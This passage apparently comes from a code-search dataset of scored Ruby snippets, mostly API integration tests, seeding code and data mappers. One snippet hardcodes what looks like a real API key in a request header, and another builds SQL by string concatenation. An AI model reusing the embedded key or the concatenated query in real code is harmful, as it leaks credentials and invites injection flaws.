\"true\" \t\t\t\t\t\t}, \t\t\t\t\t\t\"body\": { \t\t\t\t\t\t\t\"Error\": \"InvalidArgumentException\", \t\t\t\t\t\t\t\"Message\": \"Missing field field_a\" \t\t\t\t\t\t} \t\t\t\t\t}, \t\t\t\t\t\"user_id\": \"mndug437f43\", \t\t\t\t\t\"session_token\": \"23jdf0owekfmcn4u3qypxg09w4d8ayrcdx8nu2ng]s98y18cx98q3yhwmnhcfx43f\" \t\t\t\t\t }, { \t\t\t\t\t\"request\": { \t\t\t\t\t\t\"time\": \"2016-09-09T04:50:42.914\", \t\t\t\t\t\t\"uri\": \"https://api.acmeinc.com/items/reviews/\", \t\t\t\t\t\t\"verb\": \"PATCH\", \t\t\t\t\t\t\"api_version\": \"1.1.0\", \t\t\t\t\t\t\"ip_address\": \"61.48.220.123\", \t\t\t\t\t\t\"headers\": { \t\t\t\t\t\t\t\"Host\": \"api.acmeinc.com\", \t\t\t\t\t\t\t\"Accept\": \"*/*\", \t\t\t\t\t\t\t\"Connection\": \"Keep-Alive\", \t\t\t\t\t\t\t\"User-Agent\": \"Dalvik/2.1.0 (Linux; U; Android 5.0.2; C6906 Build/14.5.A.0.242)\", \t\t\t\t\t\t\t\"Content-Type\": \"application/json\", \t\t\t\t\t\t\t\"Content-Length\": \"126\", \t\t\t\t\t\t\t\"Accept-Encoding\": \"gzip\" \t\t\t\t\t\t}, \t\t\t\t\t\t\"body\": { \t\t\t\t\t\t\t\"items\": [ \t\t\t\t\t\t\t\t{ \t\t\t\t\t\t\t\t\t\"direction_type\": 1, \t\t\t\t\t\t\t\t\t\"discovery_id\": \"fwfrf\", \t\t\t\t\t\t\t\t\t\"liked\": false \t\t\t\t\t\t\t\t}, \t\t\t\t\t\t\t\t{ \t\t\t\t\t\t\t\t\t\"direction_type\": 2, \t\t\t\t\t\t\t\t\t\"discovery_id\": \"d43d3f\", \t\t\t\t\t\t\t\t\t\"liked\": true \t\t\t\t\t\t\t\t} \t\t\t\t\t\t\t] \t\t\t\t\t\t} \t\t\t\t\t}, \t\t\t\t\t\"response\": { \t\t\t\t\t\t\"time\": \"2016-09-09T04:50:42.914\", \t\t\t\t\t\t\"status\": 500, \t\t\t\t\t\t\"headers\": { \t\t\t\t\t\t\t\"Date\": \"Tue, 23 Aug 2016 23:46:49 GMT\", \t\t\t\t\t\t\t\"Vary\": \"Accept-Encoding\", \t\t\t\t\t\t\t\"Pragma\": \"no-cache\", \t\t\t\t\t\t\t\"Expires\": \"-1\", \t\t\t\t\t\t\t\"Content-Type\": \"application/json; charset=utf-8\", \t\t\t\t\t\t\t\"X-Powered-By\": \"ARR/3.0\", \t\t\t\t\t\t\t\"Cache-Control\": \"no-cache\", \t\t\t\t\t\t\t\"Arr-Disable-Session-Affinity\": \"true\" \t\t\t\t\t\t}, \t\t\t\t\t\t\"body\": { \t\t\t\t\t\t\t\"Error\": \"InvalidArgumentException\", \t\t\t\t\t\t\t\"Message\": \"Missing field field_a\" \t\t\t\t\t\t} \t\t\t\t\t}, \t\t\t\t\t\"user_id\": \"recvreedfef\", \t\t\t\t\t\"session_token\": \"xcvkrjmcfghwuignrmcmhxdhaaezse4w]s98y18cx98q3yhwmnhcfx43f\" \t\t\t\t\t } ]').map{|element| EventModel.from_hash(element)}\n\n # Perform the API call through the SDK function\n self.class.controller.create_events_batch(body)\n\n # Test response code\n assert_equal(@response_catcher.response.status_code, 201)\n end", "title": "" }, { "docid": "441b5335b49206f158abdf1309d4f17b", "score": "0.5224495", "text": "def insert_author_affiliation(affi_object, cd_affi_ids)\n # insert the object\n # get the id of the inserted object\n # update all cr_affiliations with the author_affiliation_id\n sql_statement = \\\n \"SELECT id, name FROM cr_affiliations WHERE article_author_id = \" + affi_object.article_author_id.to_s + \";\"\n db = get_db()\n #stm = db.prepare sql_statement\n #rs = stm.execute\n\n db.execute(\"INSERT INTO Author_Affiliations VALUES (?,?,?,?,?,?,?,?,?,?,?,?)\", 1, affi_object.article_author_id, affi_object.name, affi_object.short_name,\n affi_object.add_01, affi_object.add_02, affi_object.add_03,affi_object.add_04, affi_object.add_05, affi_object.country,'2020-09-27','2020-09-27')\nend", "title": "" }, { "docid": "20e0a7a09a0b8acb68aaa66179e36038", "score": "0.5214299", "text": "def account_from_api(response)\n user_data = response[:user_data]\n company = AllegroApi::Company.new(\n name: response[:invoice_data][:company_name],\n type: response[:company_extra_data][:company_type],\n nip: response[:company_extra_data][:company_nip],\n regon: response[:company_extra_data][:company_regon],\n krs: response[:company_extra_data][:company_krs],\n activity_sort: response[:company_extra_data][:company_activity_sort],\n worker_first_name: response[:company_second_address][:company_worker_first_name],\n worker_last_name: response[:company_second_address][:company_worker_last_name])\n AllegroApi::Account.new(id: user_data[:user_id].to_i, login: user_data[:user_login],\n rating: user_data[:user_rating].to_i ,\n first_name: user_data[:user_first_name],\n last_name: user_data[:user_last_name],\n maiden_name: user_data[:user_maiden_name],\n company_name: user_data[:user_company],\n country_id: user_data[:user_country_id].to_i,\n state_id: user_data[:user_state_id].to_i,\n post_code: user_data[:user_postcode],\n city: user_data[:user_city],\n address: user_data[:user_address],\n email: user_data[:user_email],\n phone: user_data[:user_phone],\n phone2: user_data[:user_phone2],\n is_super_seller: !user_data[:user_ss_status].to_i.zero?,\n is_junior: !user_data[:user_junior_status].to_i.zero?,\n has_shop: !user_data[:user_has_shop].to_i.zero?,\n is_company: !user_data[:user_company_icon].to_i.zero?,\n is_allegro_standard: !user_data[:user_is_allegro_standard].to_i.zero?,\n company: company)\n end", "title": "" }, { "docid": "c323dbdd9bfd510d40e3aad75734b83e", "score": "0.5213303", "text": "def fetch_supporting_data\n\n utility_chain_id = @api_response_data[:chain_interaction_params][:utility_chain_id]\n\n @api_response_data.merge!(\n user: CacheManagement::User.new([@user_id]).fetch[@user_id],\n client_token: @client_token,\n oracle_price_points: CacheManagement::OSTPricePoints.new([utility_chain_id]).fetch[utility_chain_id],\n pending_critical_interactions: pending_critical_interactions\n )\n\n success\n\n end", "title": "" }, { "docid": "351b10752e76a55de91e6a76c33338a2", "score": "0.51998496", "text": "def after_upsert\n end", "title": "" }, { "docid": "e7be2177b84b1eae03796163a8ebb9a5", "score": "0.51957595", "text": "def test_no_duplicate_emails\n @db_modified = true\n data = post_create_user('email' => 'user1@lakeheadu.ca',\n 'password' => 'password')\n assert_equal('error', data[0]['kind'])\n end", "title": "" }, { "docid": "8c376f032675f00f4c434690904f241a", "score": "0.51935214", "text": "def test_creating_updating_account_with_promo_id_auto_verifies\n assign_http(Config['turtle']['host'])\n\n params = { 'promo_id' => @active_promo_id }\n\n # Step 1\n @user = TurtleUser.new(params)\n turtle_response = @user.register\n assert_response(turtle_response, :success)\n assert_equal(1, @user.verified)\n\n # Step 2\n @user = TurtleUser.new\n turtle_response = @user.register\n assert_response(turtle_response, :success)\n assert_equal(0, @user.verified)\n\n turtle_response = @user.login_oauth\n assert_response(turtle_response, :success)\n\n headers = { 'Authorization' => \"Bearer #{@user.oauth_token}\" }\n params['promo_team'] = @promo['TeamNames'].sample unless @promo['TeamNames'].empty?\n\n put '/usr', params, headers\n assert_response(@response, :success)\n assert_equal(1, @parsed_response['verified'])\n\n # Step 3\n params = { 'external_client' => true,\n 'promo_id' => @active_promo_id }\n\n @user = TurtleUser.new(params)\n turtle_response = @user.register\n assert_response(turtle_response, :success)\n assert(@user.id, turtle_response.body)\n turtle_response = @user.login_oauth_for_external_client('Allow')\n assert_response(turtle_response, :success)\n assert(@user.oauth_token)\n assert_equal(1, @user.verified)\n\n # Step 4\n params = { 'promo_id' => 9999999999999 }\n\n @user = TurtleUser.new(params)\n turtle_response = @user.register\n assert_response(turtle_response, :success)\n assert_equal(0, @user.verified)\n end", "title": "" }, { "docid": "9da4e8828ea1ace9f668155890e5d392", "score": "0.51934004", "text": "def test_auto_verify_and_promo_object_in_slash_me_with_valid_promo\n default_attributes_keys = @promo['DefaultAttributes'].split('|').map { |x| x.split(':').first }\n # Expects exact matching, first default attribute will be downcased\n default_attributes_keys.first.downcase!\n\n assign_http(Config['turtle']['host'])\n\n # Step 1\n user = TurtleUser.new('promo_id' => @active_promo_id)\n turtle_response = user.register\n assert_response(turtle_response, :success)\n\n # Step 2\n assert_equal(1, user.verified, 'User should be verified when registering with a valid promo code')\n\n # Step 3\n turtle_response = user.login\n assert_response(turtle_response, :success)\n user.login_oauth\n refute_nil(user.oauth_token, 'oauth_token is missing!')\n\n # Step 4\n headers = { 'Authorization' => \"Bearer #{user.oauth_token}\" }\n\n user_attributes = { 'not_default_key' => 'true' }\n default_attributes_keys.each do |key|\n user_attributes[key] = ['true','false'].sample\n end\n\n params = {\n 'user' => {\n 'user_attributes' => user_attributes\n },\n 'promo_id' => @active_promo_id\n }\n params['promo_team'] = @promo['TeamNames'].sample unless @promo['TeamNames'].empty?\n\n put '/usr', params, headers\n assert_response(@response, :success)\n assert(@parsed_response['user_attributes'], @parsed_response)\n assert_equal((user_attributes.length - 2), @parsed_response['user_attributes'].length, @parsed_response['user_attributes'])\n refute(@parsed_response['user_attributes'].find { |attributes| attributes['not_default_key'] },\n \"Expected not to find not_default_key within the list of user attributes: #{@parsed_response['user_attributes']}\")\n refute(@parsed_response['user_attributes'].find { |attributes| attributes[default_attributes_keys[0]] },\n \"Expected not to find #{default_attributes_keys[0]} within the list of user attributes: #{@parsed_response['user_attributes']}\")\n default_attributes_keys[1..3].each do |def_attr|\n assert(@parsed_response['user_attributes'].find { |attributes| attributes['attribute_name'] == def_attr },\n \"Expected to find #{def_attr} within the list of user attributes: #{@parsed_response['user_attributes']}\")\n end\n\n # Step 5\n params = { 'include_promos' => 'true' }\n\n get '/me', params, headers\n assert_response(@response, :success)\n assert(@parsed_response['user_attributes'], @parsed_response)\n assert_equal((user_attributes.length - 2), @parsed_response['user_attributes'].length, @parsed_response['user_attributes'])\n refute(@parsed_response['user_attributes'].find { |attributes| attributes['not_default_key'] },\n \"Expected not to find not_default_key within the list of user attributes: #{@parsed_response['user_attributes']}\")\n refute(@parsed_response['user_attributes'].find { |attributes| attributes[default_attributes_keys[0]] },\n \"Expected not to find #{default_attributes_keys[0]} within the list of user attributes: #{@parsed_response['user_attributes']}\")\n default_attributes_keys[1..3].each do |def_attr|\n assert(@parsed_response['user_attributes'].find { |attributes| attributes['attribute_name'] == def_attr },\n \"Expected to find #{def_attr} within the list of user attributes: #{@parsed_response['user_attributes']}\")\n end\n\n assert(@parsed_response['promos'], @parsed_response)\n assert_equal(@active_promo_id, @parsed_response['promos'].first['id'], @parsed_response['promos'].first)\n assert_equal(@promo['UserCount'] + 1, @parsed_response['promos'].first['user_count'], @parsed_response['promos'].first)\n\n # Step 6\n assign_http(Config['snake']['host'])\n\n params = {\n 'oauth_token' => user.oauth_token,\n 'include_promos' => 'true',\n 'include_user_attributes' => true\n }.merge(api_key)\n\n get '/snake/usr/profile', params\n assert_response(@response, :success)\n assert(@parsed_response['user'], @parsed_response)\n assert(@parsed_response['user']['user_attributes'], @parsed_response['User'])\n assert_equal((user_attributes.length - 2), @parsed_response['user']['user_attributes'].length, @parsed_response['user']['user_attributes'])\n refute(@parsed_response['user']['user_attributes'].find { |attributes| attributes['not_default_key'] },\n \"Expected not to find not_default_key within the list of user attributes: #{@parsed_response['user']['user_attributes']}\")\n refute(@parsed_response['user']['user_attributes'].find { |attributes| attributes[default_attributes_keys[0]] },\n \"Expected not to find #{default_attributes_keys[0]} within the list of user attributes: #{@parsed_response['user']['user_attributes']}\")\n default_attributes_keys[1..3].each do |def_attr|\n assert(@parsed_response['user']['user_attributes'].find { |attributes| attributes['attribute_name'] == def_attr },\n \"Expected to find #{def_attr} within the list of user attributes: #{@parsed_response['user']['user_attributes']}\")\n end\n\n assert(@parsed_response['promos'], @parsed_response)\n assert_equal(@active_promo_id, @parsed_response['promos'].first['id'], @parsed_response['promos'])\n assert_equal(@promo['UserCount'] + 1, @parsed_response['promos'].first['user_count'], @parsed_response['promos'].first)\n\n # Step 6\n params = {\n 'access_token' => user.oauth_token,\n 'user_in_promo' => true,\n }.merge(api_key)\n\n get '/pros/dashboard', params\n assert_response(@response, :success)\n refute_empty(@parsed_response['promo_ratings'])\n @parsed_response['promo_ratings'].each do |rating|\n if rating['user'] && rating['user']['user_attributes']\n rating['user']['user_attributes'].each do |attributes|\n assert(attributes['attribute_name'], attributes)\n assert(attributes['attribute_state'], attributes)\n end\n end\n end\n\n # Step 7\n unselected_attribute = default_attributes_keys[0].capitalize\n\n params = {\n 'access_token' => user.oauth_token,\n 'promo_id' => @active_promo_id,\n }.merge(api_key)\n\n get '/pros/user_attributes', params\n assert_response(@response, :success)\n refute_empty(@parsed_response['new_user_attributes'])\n assert_equal(unselected_attribute, @parsed_response['new_user_attributes'][0]['attribute_name'],\n \"Expected to find #{unselected_attribute} within the list of new user attributes: #{@parsed_response['new_user_attributes']}\")\n end", "title": "" }, { "docid": "11faedb17a04ec036b0a0f7a206552a9", "score": "0.51930696", "text": "def test_bad_request\n # missing facebook_id\n post :log, :format => :json, :client_id => @bob.id, :api_key => @bob.api_key, :feat_id => @burger.id\n assert_response :bad_request\n # missing feat_id\n post :log, :format => :json, :client_id => @bob.id, :api_key => @bob.api_key, :facebook_id => @kilgore.facebook_id\n assert_response :bad_request\n end", "title": "" }, { "docid": "cae3cbdcd86ea4dab59c1c465e671e15", "score": "0.51922876", "text": "def test_create_or_update_create_user_each_required_missing\n # Parameters to be sent to TimeSync\n user = Hash[\n 'username' => 'example-user',\n 'password' => 'password',\n ]\n\n user_to_test = user.clone\n\n user.each do |key, _value|\n user_to_test.delete(key) # delete mutates the hash\n assert_equal(@ts.create_or_update(\n user_to_test, nil, 'user', 'users'\n ),\n Hash[@ts.instance_variable_get(:@error) =>\n format('user object: missing required field(s): %{k}',\n k: key)])\n user_to_test = user.clone\n end\n end", "title": "" }, { "docid": "0ccf313c1677f4ccebfaeca89cc507c2", "score": "0.5191197", "text": "def test_ut_t5_sef_est_004\n current_user = User.find(PU_ADMIN_ID)\n email_setting = EmailSetting.find(:first,\n :conditions => { :pj_id => PJ_ID})\n email_setting.user_ids = \"\"\n email_setting.save\n list_user = [\"#{TCANA_ADMIN_ID}\",\"#{PU_ADMIN_ID}\",\"#{PJ_ADMIN_ID}\",\"#{PJ_MEMBER_ID}\"]\n email_setting.add_email_users(list_user,PJ_ID,current_user)\n new_email_setting = EmailSetting.find(email_setting.id)\n assert !new_email_setting.user_ids.include?(\"#{TCANA_ADMIN_ID}\")\n assert new_email_setting.user_ids.include?(\"#{PU_ADMIN_ID}\")\n assert new_email_setting.user_ids.include?(\"#{PJ_ADMIN_ID}\")\n assert new_email_setting.user_ids.include?(\"#{PJ_MEMBER_ID}\")\n end", "title": "" }, { "docid": "a92ff68319a8a606a0583dbce1790b35", "score": "0.5183729", "text": "def create_in_sync_epes_and_vbms_ext_claims\n # 25 High Level Review, End Product Establishments that have a sync_status of \"CAN\" and are in_sync with\n # vbms_ext_claims (\"CAN\")\n 25.times do\n veteran = create(:veteran, file_number: format(\"%<n>09d\", n: @file_number))\n @file_number += 1\n\n end_product_establishment = create_end_product_establishment(:canceled_hlr_with_canceled_vbms_ext_claim, veteran)\n created_request_issue_one = create_request_issue(:rating, end_product_establishment)\n created_request_issue_two = create_request_issue(:nonrating, end_product_establishment)\n end\n\n # 25 High Level Review, End Product Establishments that have a sync_status of \"CLR\"\" and are in_sync with\n # vbms_ext_claims (\"CLR\")\n 25.times do\n veteran = create(:veteran, file_number: format(\"%<n>09d\", n: @file_number))\n @file_number += 1\n\n end_product_establishment = create_end_product_establishment(:cleared_hlr_with_cleared_vbms_ext_claim, veteran)\n created_request_issue_one = create_request_issue(:rating, end_product_establishment)\n created_request_issue_two = create_request_issue(:nonrating, end_product_establishment)\n end\n\n # 25 Supplemental Claims, End Product Establishments that have a sync_status of \"CLR\" and are in_sync with\n # vbms_ext_claims (\"CLR\")\n 25.times do\n veteran = create(:veteran, file_number: format(\"%<n>09d\", n: @file_number))\n @file_number += 1\n\n end_product_establishment = create_end_product_establishment(:cleared_supp_with_cleared_vbms_ext_claim, veteran)\n created_request_issue_one = create_request_issue(:rating, end_product_establishment)\n created_request_issue_two = create_request_issue(:nonrating, end_product_establishment)\n end\n\n # 25 Supplemental Claims, End Product Establishments that have a sync_status of \"CAN\" and are in sync with\n # vbms_ext_claims (\"CAN\")\n 25.times do\n veteran = create(:veteran, file_number: format(\"%<n>09d\", n: @file_number))\n @file_number += 1\n\n end_product_establishment = create_end_product_establishment(:canceled_supp_with_canceled_vbms_ext_claim, veteran)\n created_request_issue_one = create_request_issue(:rating, end_product_establishment)\n created_request_issue_two = create_request_issue(:nonrating, end_product_establishment)\n end\n end", "title": "" }, { "docid": "bf7082a9c86f56fb052e91016435f3b0", "score": "0.5183418", "text": "def test_ut_t5_sef_est_003\n current_user = User.find(TCANA_ADMIN_ID)\n email_setting = EmailSetting.find(:first,\n :conditions => { :pj_id => PJ_ID})\n list_user = [\"#{TCANA_ADMIN_ID}\",\"#{PU_ADMIN_ID}\",\"#{PJ_ADMIN_ID}\",\"#{PJ_MEMBER_ID}\"]\n email_setting.add_email_users(list_user,PJ_ID,current_user)\n new_email_setting = EmailSetting.find(email_setting.id)\n assert new_email_setting.user_ids.include?(\"#{TCANA_ADMIN_ID}\")\n assert new_email_setting.user_ids.include?(\"#{PU_ADMIN_ID}\")\n assert new_email_setting.user_ids.include?(\"#{PJ_ADMIN_ID}\")\n assert new_email_setting.user_ids.include?(\"#{PJ_MEMBER_ID}\")\n end", "title": "" }, { "docid": "ff6ea1ef0ca445666d08c0eae4262cba", "score": "0.5177138", "text": "def test_409_response\n client = Synapse::Client.new(@options)\n user_id = @user_id\n client_id = @client_id\n client_secret = @client_secret\n fingerprint = @fingerprint\n ip = @ip\n user = client.get_user(user_id:user_id)\n user.authenticate\n oauth_key = user.oauth_key\n\n headers = {\n content_type: :json,\n accept: :json,\n 'X-SP-GATEWAY' => \"#{client_id}|#{client_secret}\",\n 'X-SP-USER' => \"#{oauth_key}|#{fingerprint}\",\n 'X-SP-USER-IP' => \"#{ip}\"\n }\n\n payload = {\n \"type\": \"ACH-US\",\n \"info\": {\n \"nickname\": \"Fake Account\",\n \"account_num\": \"123221346\",\n \"routing_num\": \"051000010\",\n \"type\": \"PERSONAL\",\n \"class\": \"CHECKING\"\n }\n }\n\n begin\n RestClient::Request.execute(:method => :post,\n :url => \"https://uat-api.synapsefi.com/v3.1/users/#{user_id}/nodes\",\n :payload => payload.to_json,\n :headers => headers,\n :timeout => 300\n )\n rescue => e\n details = e.response\n details = JSON.parse(details)\n end\n\n error = Synapse::Error.from_response(details)\n\n assert_instance_of Synapse::Error::Conflict, error\n assert_equal \"409\", details[\"http_code\"]\n assert_equal \"400\", details[\"error_code\"]\n end", "title": "" }, { "docid": "f53e8fd306536af3468f1bd9f66e192a", "score": "0.5171477", "text": "def test_social_collections\n # Step 1\n @owner = setup_user\n\n params = {\n 'oauth_token' => @owner.oauth_token,\n 'name' => 'Top Sushi Spots'\n }\n\n post '/mb/collections', params\n assert_response(@response, :success)\n\n collection_code = @parsed_response['Collection']['Code']\n\n opts = { 'user_id' => @owner.id }\n\n get_consumer_search_resp('sushi', 'burbank, ca', opts)\n assert_response(@response, :success)\n\n resp = @parsed_response['SearchResult']['BusinessListings'].first(3)\n int_xxids = resp.map {|listing| listing['Int_Xxid']}\n\n int_xxids.each do |int_xxid|\n params = {\n 'oauth_token' => @owner.oauth_token,\n 'int_xxid' => int_xxid,\n 'c' => collection_code\n }\n\n post '/mb/businesses', params\n assert_response(@response, :success)\n end\n\n # Step 2\n params = { 'oauth_token' => @owner.oauth_token }\n\n get \"/mb/collections/#{collection_code}\", params\n assert_response(@response, :success)\n\n col = @parsed_response['Collection']\n assert_equal(col['OwnerUserId'], @owner.id.to_s)\n assert_equal(col['Count'], int_xxids.length)\n\n ucid = decode_keys_mb(col['UniqueCollectionId'])\n assert_equal(col['OwnerCollectionId'], ucid['owner_collection_id'])\n assert_equal(col['OwnerUserId'], ucid['owner_id'])\n\n # Step 3\n assert_equal(col['Scope'], 'PRIVATE')\n\n # Step 4\n @user = setup_user\n\n user_params = { 'oauth_token' => @user.oauth_token }\n\n put \"/mb/social/collections/#{col['UniqueCollectionId']}/follow\", user_params\n assert_response(@response, :client_error)\n\n # Step 5\n params['visibility'] = 'public'\n\n put \"/mb/social/collections/#{collection_code}/scope\", params\n assert_response(@response, :success)\n\n params.delete('visibility')\n\n get \"/mb/collections/#{collection_code}\", params\n assert_response(@response, :success)\n\n col = @parsed_response['Collection']\n assert_equal(col['Scope'], 'PUBLIC')\n\n # Step 6\n put \"/mb/social/collections/#{col['UniqueCollectionId']}/follow\", user_params\n assert_response(@response, :success)\n\n # Step 7\n get \"/mb/collections/#{collection_code}\", params\n assert_response(@response, :success)\n\n col = @parsed_response['Collection']\n assert_equal(col['Followers'].first, @user.id.to_s)\n\n # Step 8\n get \"/mb/social/public/collections/#{col['UniqueCollectionId']}\", user_params\n assert_response(@response, :success)\n\n user_col = @parsed_response['Collection']\n assert_equal(user_col['Viewer']['Role'], 'F')\n\n # Step 9\n params['visibility'] = 'private'\n\n put \"/mb/social/collections/#{collection_code}/scope\", params\n assert_response(@response, :success)\n\n params.delete('visibility')\n\n get \"/mb/collections/#{collection_code}\", params\n assert_response(@response, :success)\n\n col = @parsed_response['Collection']\n assert_nil(col['Followers'].first)\n\n col = @parsed_response['Collection']\n assert_equal(col['Scope'], 'PRIVATE')\n\n # Step 10\n get \"/mb/collections/#{collection_code}\", user_params\n assert_response(@response, :client_error)\n\n # Step 11\n params['visibility'] = 'public'\n\n put \"/mb/social/collections/#{collection_code}/scope\", params\n assert_response(@response, :success)\n\n params.delete('visibility')\n\n get \"/mb/collections/#{collection_code}\", params\n assert_response(@response, :success)\n\n col = @parsed_response['Collection']\n assert_nil(col['Followers'].first)\n assert_equal(col['Scope'], 'PUBLIC')\n\n # Step 12\n get \"/mb/collections/#{collection_code}\", user_params\n assert_response(@response, :client_error)\n\n # Step 13\n put \"/mb/social/collections/#{col['UniqueCollectionId']}/follow\", user_params\n assert_response(@response, :success)\n\n # Step 14\n post \"/mb/social/collections/#{col['UniqueCollectionId']}/copy\", user_params\n assert_response(@response, :success)\n\n resp = @parsed_response['Collection']\n assert_equal(resp['Count'], 3)\n assert_equal(resp['Viewer']['Role'], 'O')\n\n get \"/mb/collections/#{resp['Code']}\", user_params\n assert_response(@response, :success)\n\n user_col = @parsed_response['Collection']\n assert_equal(user_col['OwnerUserId'], @user.id.to_s)\n assert_equal(user_col['Count'], 3)\n assert_equal(user_col['Viewer']['Role'], 'O')\n\n # Step 15\n get '/mb/collections', user_params\n assert_response(@response, :success)\n assert(@parsed_response['Collections'].detect { |x| x['Code'] == resp['Code'] })\n\n # Step 16\n put \"/mb/social/collections/#{col['UniqueCollectionId']}/unfollow\", user_params\n assert_response(@response, :success)\n\n # Step 17\n get \"/mb/collections/#{collection_code}\", params\n assert_response(@response, :success)\n\n col = @parsed_response['Collection']\n assert_nil(col['Followers'].first)\n\n # Step 18\n get \"/mb/social/public/collections/#{col['UniqueCollectionId']}\", user_params\n assert_response(@response, :success)\n\n user_col = @parsed_response['Collection']\n assert_equal(user_col['Viewer']['Role'], 'N')\n end", "title": "" }, { "docid": "545ae8c2c250f71a729c0ea5db93f4a3", "score": "0.5168008", "text": "def createPoliticians(pol, newStateId)\n \n url = pol[\"api_uri\"].chomp(\".\")\n key = \"Jv6lbl95ZWrgwK8bThHUaXcaVfojPdqG6V7rR3QY\"\n politicianResponse = RestClient.get url, headers = {\"X-API-Key\": key}\n politician = JSON.parse(politicianResponse)\n p= politician[\"results\"][0]\n\n full_name = \"#{p['first_name']} #{p['last_name']}\"\n party = \"\"\n case p[\"current_party\"]\n when \"R\"\n party = \"Republican\"\n when \"D\"\n party = \"Democrat\"\n else\n party = \"Independent\"\n end\n\n poliHash = {\n \"state_table_id\"=> newStateId,\n \"name\"=> full_name,\n \"party\"=> party,\n \"title\"=> p[\"roles\"][0][\"title\"],\n \"next_elec\"=> pol[\"next_election\"],\n \"district\"=>p[\"roles\"][0][\"district\"],\n \"twitter\"=> p[\"twitter_account\"],\n \"facebook\"=> p[\"facebook_account\"],\n \"office_address\"=> p[\"roles\"][0][\"office\"],\n \"phone\"=> p[\"roles\"][0][\"phone\"],\n \"bills_sponsored\"=> p[\"roles\"][0][\"bills_sponsored\"],\n \"bills_cosponsored\"=> p[\"roles\"][0][\"bills_cosponsored\"],\n \"missed_votes_pct\"=> p[\"roles\"][0][\"missed_votes_pct\"],\n \"votes_with_party_pct\"=> p[\"roles\"][0][\"votes_with_party_pct\"],\n \"img_url\"=> \"https://theunitedstates.io/images/congress/225x275/#{p[\"member_id\"]}.jpg\"\n }\n Politician.create(poliHash)\n\nend", "title": "" }, { "docid": "38ab0bfa319e5c89042963ac4cc9ac06", "score": "0.51656485", "text": "def add_error(fb)\n fb.add_item({\n :uid => \"\" ,\n :title => \"Unit is not recognized.\" ,\n :subtitle => \"\" ,\n :arg => \"\" ,\n :valid => \"no\",\n })\nend", "title": "" }, { "docid": "ec384913b261bc3f82239d8ac6481053", "score": "0.515765", "text": "def check_serialized\n ####remember you can assign numerics as keys in ruby a hash\n cits = {'preexisting' => {0=>{}}, 'description' => {0=>{}}, 'phylogeny' => {0=>{}}, 'primary-phylogeny' => {0=>{}}}\n specs = {0=>{}}\n ####\n if self.citations == nil\n self.citations = cits\n else\n cits.each{|k,v| self.citations[k]=v unless self.citations.has_key?(k)}\n end\n ####\n if self.specifiers == nil\n self.specifiers = specs\n end\n end", "title": "" }, { "docid": "dc9e90e01cb3c41abc895dca5a40b4b7", "score": "0.51550287", "text": "def test_set\n\n #\n # Missing body\n #\n data = '{\"author\":\"Steve\",\"id\":\"foo\"}'\n post '/comments/test', JSON.parse(data)\n\n assert_equal( 500, last_response.status, \"A missing body was rejected\" )\n assert( last_response.body =~ /Missing.*body/i,\n \"A missing body was identified\");\n\n #\n # Missing author\n #\n data = '{\"body\":\"Steve left this\",\"id\":\"foo\"}'\n post '/comments/test', JSON.parse(data)\n\n assert_equal( 500, last_response.status, \"A missing author was rejected\" )\n assert( last_response.body =~ /Missing.*author/i,\n \"A missing author was identified\");\n\n #\n # Spam is rejected\n #\n data = '{\"body\":\"Viagra is good\",\"author\":\"Bobby\"}'\n post '/comments/test', JSON.parse(data)\n\n assert_equal( 500, last_response.status, \"SPAM was rejected\" )\n assert( last_response.body =~ /spam/i,\n \"SPAM was identified\");\n\n #\n # Not going to test adding because that's going to touch the\n # production use.\n #\n end", "title": "" }, { "docid": "2b6cebe218f355092d457dc9438512b6", "score": "0.5152757", "text": "def test_3_10_to_4_x_upgrade_for_visitor\n # Step 1\n uber_cat = 'all'\n\n params = {\n 'app_id' => 'WEB',\n 'vrid' => @user.vrid,\n 'ptid' => 'www.xx.com',\n 'uc' => [uber_cat],\n 'sponsored_results' => 0,\n 'lat' => 34.1559416055679,\n 'lon' => -118.256176114082,\n 'f' => ['coupon_flag:Y']\n }\n\n get '/listings', params\n assert_response(@response, :success)\n listings = @parsed_response['SearchResult']['BusinessListings']\n\n ## There's no good way to simulate a user adding stuff on the 3.10 application\n ## from Panda's point of view so we'll just store the stuff in a variable for now.\n saved_data = []\n\n if listings.first.nil?\n assert(listings.first, \"No listing returned for : #{params['uc']} \")\n else\n 3.times do |i|\n saved_data << {\n 'type' => 'listing',\n 'int_xxid' => listings[i]['Int_Xxid'],\n 'timestamp' => (Time.now.to_f*1000).to_i\n }\n end\n end\n\n listing_with_coupons = listings.find { |listing| listing['Coupons'] && !listing['Coupons'].empty? }\n listing_with_coupons['Coupons'].each do |coupon|\n saved_data << {\n 'type' => 'coupon',\n 'int_xxid' => listing_with_coupons['Int_Xxid'],\n 'coupon_id' => coupon['CouponId'],\n 'timestamp' => (Time.now.to_f*1000).to_i\n }\n end\n\n # Step 2\n params = { 'vrid' => @user.vrid }\n\n put_with_json '/mb/upload_coupons_or_businesses', params, saved_data\n assert_response(@response, :success)\n\n # Step 3\n params = { 'vrid' => @user.vrid }\n\n get '/mb/businesses', params\n assert_response(@response, :success)\n assert_equal(3, @parsed_response['Businesses'].size, @response.body)\n\n get '/mb/coupons', params\n assert_response(@response, :success)\n assert_equal(listing_with_coupons['Coupons'].count, @parsed_response['Coupons'].size, @response.body)\n\n # Step 4\n @user = setup_user({'email' => @user.email})\n\n # Step 5\n params = { 'oauth_token' => @user.oauth_token }\n\n get '/mb/businesses', params\n assert_response(@response, :success)\n assert_equal(3, @parsed_response['Businesses'].size, @response.body)\n\n get '/mb/coupons', params\n assert_response(@response, :success)\n assert_equal(listing_with_coupons['Coupons'].count, @parsed_response['Coupons'].size, @response.body)\n\n # Step 6\n params = { 'vrid' => @user.vrid }\n\n get '/mb/businesses', params\n assert_response(@response, :success)\n assert_equal(0, @parsed_response['Businesses'].size, @response.body)\n\n get '/mb/coupons', params\n assert_response(@response, :success)\n assert_equal(0, @parsed_response['Coupons'].size, @response.body)\n end", "title": "" }, { "docid": "27bb6b44e7d2b827f5469ef562af3dd2", "score": "0.5151074", "text": "def test_prepare_company_correct_data\n company = {\n \"name\" => \"company name\",\n \"address\" => \"company address\",\n \"city\" => \"company city\",\n \"country\" => \"company country\"\n }\n post '/api/companies', company.to_json\n assert_equal 201, last_response.status\n end", "title": "" }, { "docid": "b0a50289ce491e6a89d135c043b1b32b", "score": "0.51482636", "text": "def expected_additions; end", "title": "" }, { "docid": "a565e572a368a7a91a2c1324a81cc097", "score": "0.5142524", "text": "def validate_associated_records_for_syndicated_deals; end", "title": "" }, { "docid": "2734fa04d9b28b37c71c6417414ca36f", "score": "0.5142317", "text": "def upc_insert\n 